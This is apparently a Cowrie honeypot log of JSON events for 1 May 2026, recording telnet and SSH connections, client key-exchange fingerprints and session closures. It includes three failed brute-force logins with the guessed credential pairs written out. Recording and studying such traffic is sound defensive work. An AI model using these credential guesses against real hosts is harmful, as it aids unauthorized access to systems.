{"eventid":"cowrie.session.closed","duration":36.26806688308716,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:50.630200Z","src_ip":"64.227.9.242","session":"bf7f126abdd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58730,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a27a717a77","protocol":"telnet","message":"New connection: 188.208.141.113:58730 (10.17.0.5:23) [session: c7a27a717a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:52.532272Z"}
{"eventid":"cowrie.session.closed","duration":36.86120009422302,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:56.421880Z","src_ip":"64.227.9.242","session":"e868046eb85e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.06796169281006,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:00.275873Z","src_ip":"188.208.141.113","session":"12bf336777d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8712899684906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:01.129766Z","src_ip":"64.227.9.242","session":"24af61993fba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.17253351211548,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:01.334577Z","src_ip":"64.227.9.242","session":"4270a57a1612","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":39664,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6c860501474","protocol":"ssh","message":"New connection: 1.235.192.214:39664 (10.17.0.5:22) [session: b6c860501474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:02.183421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:02.188120Z","src_ip":"1.235.192.214","session":"b6c860501474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:02.374612Z","src_ip":"1.235.192.214","session":"b6c860501474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.49544286727905,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:03.009620Z","src_ip":"64.227.9.242","session":"da287b24bf2d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123!@#","message":"login attempt [ubuntu/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:03.152607Z","src_ip":"1.235.192.214","session":"b6c860501474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:04.341674Z","src_ip":"1.235.192.214","session":"b6c860501474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":50954,"dst_ip":"159.203.135.109","dst_port":23,"session":"52a6082aca2d","protocol":"telnet","message":"New connection: 64.227.9.242:50954 (159.203.135.109:23) [session: 52a6082aca2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:05.081146Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34692,"dst_ip":"10.17.0.5","dst_port":23,"session":"49705e6a7803","protocol":"telnet","message":"New connection: 188.208.141.113:34692 (10.17.0.5:23) [session: 49705e6a7803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:05.672673Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51546,"dst_ip":"159.203.135.109","dst_port":23,"session":"84c7d4a0aa8b","protocol":"telnet","message":"New connection: 64.227.9.242:51546 (159.203.135.109:23) [session: 84c7d4a0aa8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:06.680634Z"}
{"eventid":"cowrie.session.closed","duration":48.15988087654114,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:09.267398Z","src_ip":"188.208.141.113","session":"d1fe2882d040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34702,"dst_ip":"10.17.0.5","dst_port":23,"session":"3664ff351a2a","protocol":"telnet","message":"New connection: 188.208.141.113:34702 (10.17.0.5:23) [session: 3664ff351a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:09.579756Z"}
{"eventid":"cowrie.session.closed","duration":6.409940719604492,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:12.082466Z","src_ip":"188.208.141.113","session":"49705e6a7803","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":59298,"dst_ip":"159.203.135.109","dst_port":23,"session":"67d79d83c3fb","protocol":"telnet","message":"New connection: 64.227.9.242:59298 (159.203.135.109:23) [session: 67d79d83c3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:12.784950Z"}
{"eventid":"cowrie.session.closed","duration":35.93473243713379,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:13.307208Z","src_ip":"64.227.9.242","session":"f97553a97f8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33388,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5a3d92ac382","protocol":"telnet","message":"New connection: 64.227.9.242:33388 (159.203.135.109:23) [session: f5a3d92ac382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:14.963762Z"}
{"eventid":"cowrie.session.closed","duration":6.096801042556763,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:15.676448Z","src_ip":"188.208.141.113","session":"3664ff351a2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.08836030960083,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:15.782209Z","src_ip":"188.208.141.113","session":"cbe77c8f9668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.6998348236084,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:20.209643Z","src_ip":"64.227.9.242","session":"7357a540fdaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42588,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce8bd6ec8a6a","protocol":"telnet","message":"New connection: 64.227.9.242:42588 (159.203.135.109:23) [session: ce8bd6ec8a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:23.847563Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":43114,"dst_ip":"159.203.135.109","dst_port":23,"session":"deaa94320d89","protocol":"telnet","message":"New connection: 64.227.9.242:43114 (159.203.135.109:23) [session: deaa94320d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:25.356637Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38116,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b754d6d7c9","protocol":"telnet","message":"New connection: 188.208.141.113:38116 (10.17.0.5:23) [session: 23b754d6d7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:26.248685Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38130,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8da7b170a70","protocol":"telnet","message":"New connection: 188.208.141.113:38130 (10.17.0.5:23) [session: f8da7b170a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:27.281444Z"}
{"eventid":"cowrie.session.closed","duration":41.64887619018555,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:29.324829Z","src_ip":"188.208.141.113","session":"19a786c0ee68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51262,"dst_ip":"10.17.0.5","dst_port":23,"session":"601585f9a9b5","protocol":"telnet","message":"New connection: 188.208.141.113:51262 (10.17.0.5:23) [session: 601585f9a9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:31.593920Z"}
{"eventid":"cowrie.session.closed","duration":47.86793541908264,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:32.300700Z","src_ip":"188.208.141.113","session":"f837139ff940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51264,"dst_ip":"10.17.0.5","dst_port":23,"session":"89e0def6bf96","protocol":"telnet","message":"New connection: 188.208.141.113:51264 (10.17.0.5:23) [session: 89e0def6bf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:32.874579Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":54554,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c36fd13d68c","protocol":"telnet","message":"New connection: 64.227.9.242:54554 (159.203.135.109:23) [session: 9c36fd13d68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:35.863279Z"}
{"eventid":"cowrie.session.closed","duration":33.07157874107361,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:38.152602Z","src_ip":"64.227.9.242","session":"52a6082aca2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.24625277519226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:38.926758Z","src_ip":"64.227.9.242","session":"84c7d4a0aa8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58142,"dst_ip":"159.203.135.109","dst_port":23,"session":"c093e42370a2","protocol":"telnet","message":"New connection: 64.227.9.242:58142 (159.203.135.109:23) [session: c093e42370a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:39.225812Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60956,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0cd30d3220f","protocol":"telnet","message":"New connection: 64.227.9.242:60956 (159.203.135.109:23) [session: b0cd30d3220f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:41.810284Z"}
{"eventid":"cowrie.session.closed","duration":49.465107679367065,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:41.997246Z","src_ip":"188.208.141.113","session":"c7a27a717a77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40146,"dst_ip":"10.17.0.5","dst_port":23,"session":"a004979ada35","protocol":"telnet","message":"New connection: 188.208.141.113:40146 (10.17.0.5:23) [session: a004979ada35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:43.069064Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34194,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6af5dbc2b3","protocol":"telnet","message":"New connection: 64.227.9.242:34194 (159.203.135.109:23) [session: ff6af5dbc2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:43.314144Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40154,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8fd5ccee6c3","protocol":"telnet","message":"New connection: 188.208.141.113:40154 (10.17.0.5:23) [session: d8fd5ccee6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:43.830799Z"}
{"eventid":"cowrie.session.closed","duration":35.219810247421265,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:48.004656Z","src_ip":"64.227.9.242","session":"67d79d83c3fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40166,"dst_ip":"10.17.0.5","dst_port":23,"session":"878176bbcc41","protocol":"telnet","message":"New connection: 188.208.141.113:40166 (10.17.0.5:23) [session: 878176bbcc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:49.248807Z"}
{"eventid":"cowrie.session.closed","duration":35.12185573577881,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:50.085494Z","src_ip":"64.227.9.242","session":"f5a3d92ac382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35460,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a4b15e7b756","protocol":"telnet","message":"New connection: 188.208.141.113:35460 (10.17.0.5:23) [session: 8a4b15e7b756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:53.694726Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":37720,"dst_ip":"10.17.0.5","dst_port":22,"session":"e95dcf3a48e1","protocol":"ssh","message":"New connection: 152.32.171.213:37720 (10.17.0.5:22) [session: e95dcf3a48e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:55.309118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:55.313957Z","src_ip":"152.32.171.213","session":"e95dcf3a48e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:55.528040Z","src_ip":"152.32.171.213","session":"e95dcf3a48e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"159753","message":"login attempt [test/159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:56.414566Z","src_ip":"152.32.171.213","session":"e95dcf3a48e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":48110,"dst_ip":"159.203.135.109","dst_port":23,"session":"62916d8c4678","protocol":"telnet","message":"New connection: 64.227.9.242:48110 (159.203.135.109:23) [session: 62916d8c4678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:56.661457Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:57.630903Z","src_ip":"152.32.171.213","session":"e95dcf3a48e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.97138833999634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:59.327922Z","src_ip":"64.227.9.242","session":"deaa94320d89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.82234501838684,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:31:59.669780Z","src_ip":"64.227.9.242","session":"ce8bd6ec8a6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.195.177.1","src_port":36990,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cf17a3ba56e","protocol":"telnet","message":"New connection: 187.195.177.1:36990 (159.203.135.109:23) [session: 3cf17a3ba56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:00.362175Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41266,"dst_ip":"10.17.0.5","dst_port":23,"session":"07fc33122ce1","protocol":"telnet","message":"New connection: 188.208.141.113:41266 (10.17.0.5:23) [session: 07fc33122ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:00.910711Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41268,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff40f908b111","protocol":"telnet","message":"New connection: 188.208.141.113:41268 (10.17.0.5:23) [session: ff40f908b111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:00.923210Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41272,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e0cb661c9af","protocol":"telnet","message":"New connection: 188.208.141.113:41272 (10.17.0.5:23) [session: 5e0cb661c9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:07.438803Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":38566,"dst_ip":"10.17.0.5","dst_port":22,"session":"184ec7d77710","protocol":"ssh","message":"New connection: 1.235.192.214:38566 (10.17.0.5:22) [session: 184ec7d77710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:09.814442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:09.820879Z","src_ip":"1.235.192.214","session":"184ec7d77710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:10.008177Z","src_ip":"1.235.192.214","session":"184ec7d77710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41278,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cae8e14c2aa","protocol":"telnet","message":"New connection: 188.208.141.113:41278 (10.17.0.5:23) [session: 5cae8e14c2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:10.529664Z"}
{"eventid":"cowrie.session.closed","duration":34.72621130943298,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:10.589215Z","src_ip":"64.227.9.242","session":"9c36fd13d68c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitgitgit","message":"login attempt [git/gitgitgit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:10.785703Z","src_ip":"1.235.192.214","session":"184ec7d77710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.65804672241211,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:10.939391Z","src_ip":"188.208.141.113","session":"f8da7b170a70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48171019554138,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:11.707406Z","src_ip":"64.227.9.242","session":"c093e42370a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:11.977583Z","src_ip":"1.235.192.214","session":"184ec7d77710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.729553937911987,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:32:13.091600Z","src_ip":"187.195.177.1","session":"3cf17a3ba56e","protocol":"telnet"}
